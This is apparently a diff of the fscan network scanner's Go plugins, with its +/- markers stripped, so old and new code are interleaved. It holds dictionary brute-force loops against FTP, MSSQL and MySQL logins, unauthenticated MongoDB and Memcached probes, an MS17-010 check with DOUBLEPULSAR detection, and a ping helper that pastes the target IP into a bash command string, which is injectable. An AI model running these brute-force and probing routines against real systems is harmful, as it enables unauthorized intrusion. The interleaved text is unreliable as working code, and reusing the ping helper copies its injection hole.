|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["ftp"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag,err := FtpConn(info,user,pass)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func FtpConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = conn.Login(Username, Password)
|
||||
err = conn.Login(Username,Password)
|
||||
if err == nil {
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
//defer conn.Logout()
|
||||
if err == nil {
|
||||
if len(dirs) > 0 {
|
||||
for i := 0; i < len(dirs); i++ {
|
||||
if len(dirs[i].Name) > 50 {
|
||||
result += "\n [->]" + dirs[i].Name[:50]
|
||||
} else {
|
||||
result += "\n [->]" + dirs[i].Name
|
||||
}
|
||||
if i == 5 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
defer conn.Logout()
|
||||
result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
+123
-113
@@ -2,10 +2,8 @@ package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/icmp"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -16,137 +14,161 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
var icmp ICMP
|
||||
|
||||
var AliveHosts []string
|
||||
|
||||
var SysInfo = GetSys()
|
||||
type ICMP struct {
|
||||
Type uint8
|
||||
Code uint8
|
||||
Checksum uint16
|
||||
Identifier uint16
|
||||
SequenceNum uint16
|
||||
}
|
||||
|
||||
type SystemInfo struct {
|
||||
OS string
|
||||
HostName string
|
||||
Groupid string
|
||||
Userid string
|
||||
Username string
|
||||
OS string
|
||||
ARCH string
|
||||
HostName string
|
||||
Groupid string
|
||||
Userid string
|
||||
Username string
|
||||
UserHomeDir string
|
||||
}
|
||||
|
||||
func GetSys() SystemInfo {
|
||||
var sysinfo SystemInfo
|
||||
|
||||
sysinfo.OS = runtime.GOOS
|
||||
sysinfo.ARCH = runtime.GOARCH
|
||||
name, err := os.Hostname()
|
||||
if err == nil {
|
||||
sysinfo.HostName = name
|
||||
} else {
|
||||
name = "none"
|
||||
}
|
||||
|
||||
u, err := user.Current()
|
||||
if err == nil {
|
||||
sysinfo.Groupid = u.Gid
|
||||
sysinfo.Userid = u.Uid
|
||||
sysinfo.Username = u.Username
|
||||
} else {
|
||||
sysinfo.Groupid = "1"
|
||||
sysinfo.Userid = "1"
|
||||
sysinfo.Username = name
|
||||
}
|
||||
sysinfo.Groupid = u.Gid
|
||||
sysinfo.Userid = u.Uid
|
||||
sysinfo.Username = u.Username
|
||||
sysinfo.UserHomeDir = u.HomeDir
|
||||
|
||||
return sysinfo
|
||||
}
|
||||
|
||||
func IcmpCheck(hostslist []string) {
|
||||
TmpHosts := make(map[string]struct{})
|
||||
var chanHosts = make(chan string)
|
||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||
endflag := false
|
||||
func isping(ip string) bool {
|
||||
icmp.Type = 8
|
||||
icmp.Code = 0
|
||||
icmp.Checksum = 0
|
||||
icmp.Identifier = 0
|
||||
icmp.SequenceNum = 0
|
||||
|
||||
recvBuf := make([]byte, 32)
|
||||
var buffer bytes.Buffer
|
||||
|
||||
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||
icmp.Checksum = CheckSum(buffer.Bytes())
|
||||
|
||||
buffer.Reset()
|
||||
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||
|
||||
Time, _ := time.ParseDuration("3s")
|
||||
conn, err := net.DialTimeout("ip4:icmp", ip, Time)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
return false
|
||||
}
|
||||
go func() {
|
||||
for {
|
||||
if endflag == true {
|
||||
return
|
||||
}
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := TmpHosts[ip]; !ok {
|
||||
TmpHosts[ip] = struct{}{}
|
||||
if common.Silent == false {
|
||||
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
|
||||
}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for _, host := range hostslist {
|
||||
write(host, conn)
|
||||
_, err = conn.Write(buffer.Bytes())
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second * 3))
|
||||
num, err := conn.Read(recvBuf)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if len(hostslist) > 255 {
|
||||
time.Sleep(6 * time.Second)
|
||||
} else {
|
||||
time.Sleep(3 * time.Second)
|
||||
conn.SetReadDeadline(time.Time{})
|
||||
|
||||
if string(recvBuf[0:num]) != "" {
|
||||
fmt.Printf("(ICMP) Target '%s' is alive\n",ip)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
|
||||
endflag = true
|
||||
close(chanHosts)
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func write(ip string, conn *icmp.PacketConn) {
|
||||
dst, _ := net.ResolveIPAddr("ip", ip)
|
||||
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
func CheckSum(data []byte) uint16 {
|
||||
var (
|
||||
sum uint32
|
||||
length int = len(data)
|
||||
index int
|
||||
)
|
||||
for length > 1 {
|
||||
sum += uint32(data[index])<<8 + uint32(data[index+1])
|
||||
index += 2
|
||||
length -= 2
|
||||
}
|
||||
if length > 0 {
|
||||
sum += uint32(data[index])
|
||||
}
|
||||
sum += (sum >> 16)
|
||||
|
||||
return uint16(^sum)
|
||||
}
|
||||
|
||||
func ExecCommandPing(ip string, bsenv string) bool {
|
||||
var command *exec.Cmd
|
||||
if SysInfo.OS == "windows" {
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if SysInfo.OS == "linux" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if SysInfo.OS == "darwin" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
func IcmpCheck(hostslist []string,IcmpThreads int) {
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan int, IcmpThreads)
|
||||
for _,host :=range hostslist{
|
||||
wg.Add(1)
|
||||
limiter <- 1
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if isping(host){
|
||||
mutex.Lock()
|
||||
AliveHosts = append(AliveHosts, host)
|
||||
mutex.Unlock()
|
||||
}
|
||||
<- limiter
|
||||
}(host)
|
||||
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
|
||||
func ExecCommandPing(ip string,bsenv string) bool {
|
||||
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
outinfo := bytes.Buffer{}
|
||||
command.Stdout = &outinfo
|
||||
err := command.Start()
|
||||
if err != nil {
|
||||
if err != nil{
|
||||
return false
|
||||
}
|
||||
if err = command.Wait(); err != nil {
|
||||
|
||||
if err = command.Wait();err!=nil{
|
||||
return false
|
||||
} else {
|
||||
if strings.Contains(outinfo.String(), "true") {
|
||||
}else{
|
||||
if(strings.Contains(outinfo.String(), "true")) {
|
||||
return true
|
||||
} else {
|
||||
}else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func PingCMDcheck(hostslist []string, bsenv string) {
|
||||
func PingCMDcheck(hostslist []string,bsenv string) {
|
||||
var wg sync.WaitGroup
|
||||
mutex := &sync.Mutex{}
|
||||
limiter := make(chan struct{}, 50)
|
||||
for _, host := range hostslist {
|
||||
limiter := make(chan struct{}, 40)
|
||||
for _,host :=range hostslist{
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
defer wg.Done()
|
||||
if ExecCommandPing(host, bsenv) {
|
||||
if ExecCommandPing(host,bsenv){
|
||||
mutex.Lock()
|
||||
if common.Silent == false {
|
||||
fmt.Printf("(Ping) Target '%s' is alive\n", host)
|
||||
}
|
||||
fmt.Printf("(Ping) Target '%s' is alive\n",host)
|
||||
AliveHosts = append(AliveHosts, host)
|
||||
mutex.Unlock()
|
||||
}
|
||||
@@ -155,36 +177,24 @@ func PingCMDcheck(hostslist []string, bsenv string) {
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
func ICMPRun(hostslist []string, Ping bool) []string {
|
||||
if SysInfo.OS == "windows" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "")
|
||||
|
||||
func ICMPRun(hostslist []string,IcmpThreads int) []string{
|
||||
var sysinfo SystemInfo
|
||||
sysinfo = GetSys()
|
||||
|
||||
if sysinfo.OS == "windows" {
|
||||
IcmpCheck(hostslist,IcmpThreads)
|
||||
}else if sysinfo.OS == "linux" {
|
||||
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||
IcmpCheck(hostslist,IcmpThreads)
|
||||
}else {
|
||||
PingCMDcheck(hostslist,"/bin/bash")
|
||||
}
|
||||
} else if SysInfo.OS == "linux" {
|
||||
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else {
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else if SysInfo.OS == "darwin" {
|
||||
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
|
||||
if Ping == false {
|
||||
IcmpCheck(hostslist)
|
||||
} else {
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}
|
||||
} else {
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
PingCMDcheck(hostslist, "/bin/bash")
|
||||
}else if sysinfo.OS == "darwin" {
|
||||
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||
IcmpCheck(hostslist,IcmpThreads)
|
||||
}else {
|
||||
PingCMDcheck(hostslist,"/usr/local/bin/bash")
|
||||
}
|
||||
}
|
||||
return AliveHosts
|
||||
|
||||
+17
-21
@@ -1,35 +1,31 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"])
|
||||
client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err==nil {
|
||||
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err == nil {
|
||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
if err == nil {
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err == nil {
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
client.Close()
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
defer client.Close()
|
||||
result = fmt.Sprintf("Memcached:%s unauthorized",realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return err
|
||||
wg.Done()
|
||||
<- ch
|
||||
return err, result
|
||||
}
|
||||
|
||||
+22
-31
@@ -1,58 +1,49 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MongodbScan(info *common.HostInfo) error {
|
||||
_, err := MongodbUnauth(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
|
||||
func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
MongodbUnauth(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||
flag = false
|
||||
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
|
||||
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0}
|
||||
getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0}
|
||||
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"])
|
||||
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil{return}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(senddata)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
conn.Write(send_data)
|
||||
buf := make([]byte, 1024)
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
return flag,err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text, "ismaster") {
|
||||
_, err = conn.Write(getlogdata)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(text,"ismaster"){
|
||||
conn.Write(getlog_data)
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
return flag,err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text, "totalLinesWritten") {
|
||||
if strings.Contains(text,"totalLinesWritten"){
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
|
||||
result := fmt.Sprintf("Mongodb:%v unauthorized",realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
return flag,err
|
||||
}
|
||||
+33
-49
@@ -3,11 +3,14 @@ package Plugins
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"sync"
|
||||
|
||||
//"flag"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"../common"
|
||||
"strings"
|
||||
//"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
@@ -19,59 +22,47 @@ var (
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||
)
|
||||
|
||||
func MS17010(info *common.HostInfo) error {
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
MS17010Scan(info)
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) error {
|
||||
func MS17010Scan(info *common.HostInfo) {
|
||||
|
||||
ip := info.Host
|
||||
// connecting to a host in LAN if reachable should be very quick
|
||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(negotiateProtocolRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||
conn.Write(negotiateProtocolRequest)
|
||||
reply := make([]byte, 1024)
|
||||
// let alone half packet
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
return
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
return err
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(sessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn.Write(sessionSetupRequest)
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
return
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
var Err = errors.New("can't determine whether target is vulnerable or not")
|
||||
return Err
|
||||
return
|
||||
}
|
||||
|
||||
// extract OS info
|
||||
@@ -87,7 +78,7 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
os = strings.Replace(os, string([]byte{0x00}), "",-1)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -98,12 +89,10 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
// TODO change the ip in tree path though it doesn't matter
|
||||
_, err = conn.Write(treeConnectRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn.Write(treeConnectRequest)
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
return
|
||||
}
|
||||
|
||||
treeID := reply[28:30]
|
||||
@@ -112,19 +101,16 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(transNamedPipeRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn.Write(transNamedPipeRequest)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
return
|
||||
}
|
||||
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
||||
result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
@@ -132,24 +118,22 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(trans2SessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn.Write(trans2SessionSetupRequest)
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
return
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
|
||||
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
|
||||
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
} else {
|
||||
result := fmt.Sprintf("[*] %s (%s)", ip, os)
|
||||
result := fmt.Sprintf("%s (%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return err
|
||||
|
||||
}
|
||||
|
||||
|
||||
+21
-27
@@ -1,54 +1,48 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mssql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
|
||||
|
||||
|
||||
func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["mssql"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MssqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
flag,err := MssqlConn(info,user,pass)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func MssqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second)
|
||||
db, err := sql.Open("mssql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
return flag,err
|
||||
}
|
||||
|
||||
|
||||
+20
-28
@@ -1,54 +1,46 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mysql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
|
||||
|
||||
func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["mysql"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MysqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
flag,err := MysqlConn(info,user,pass)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func MysqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
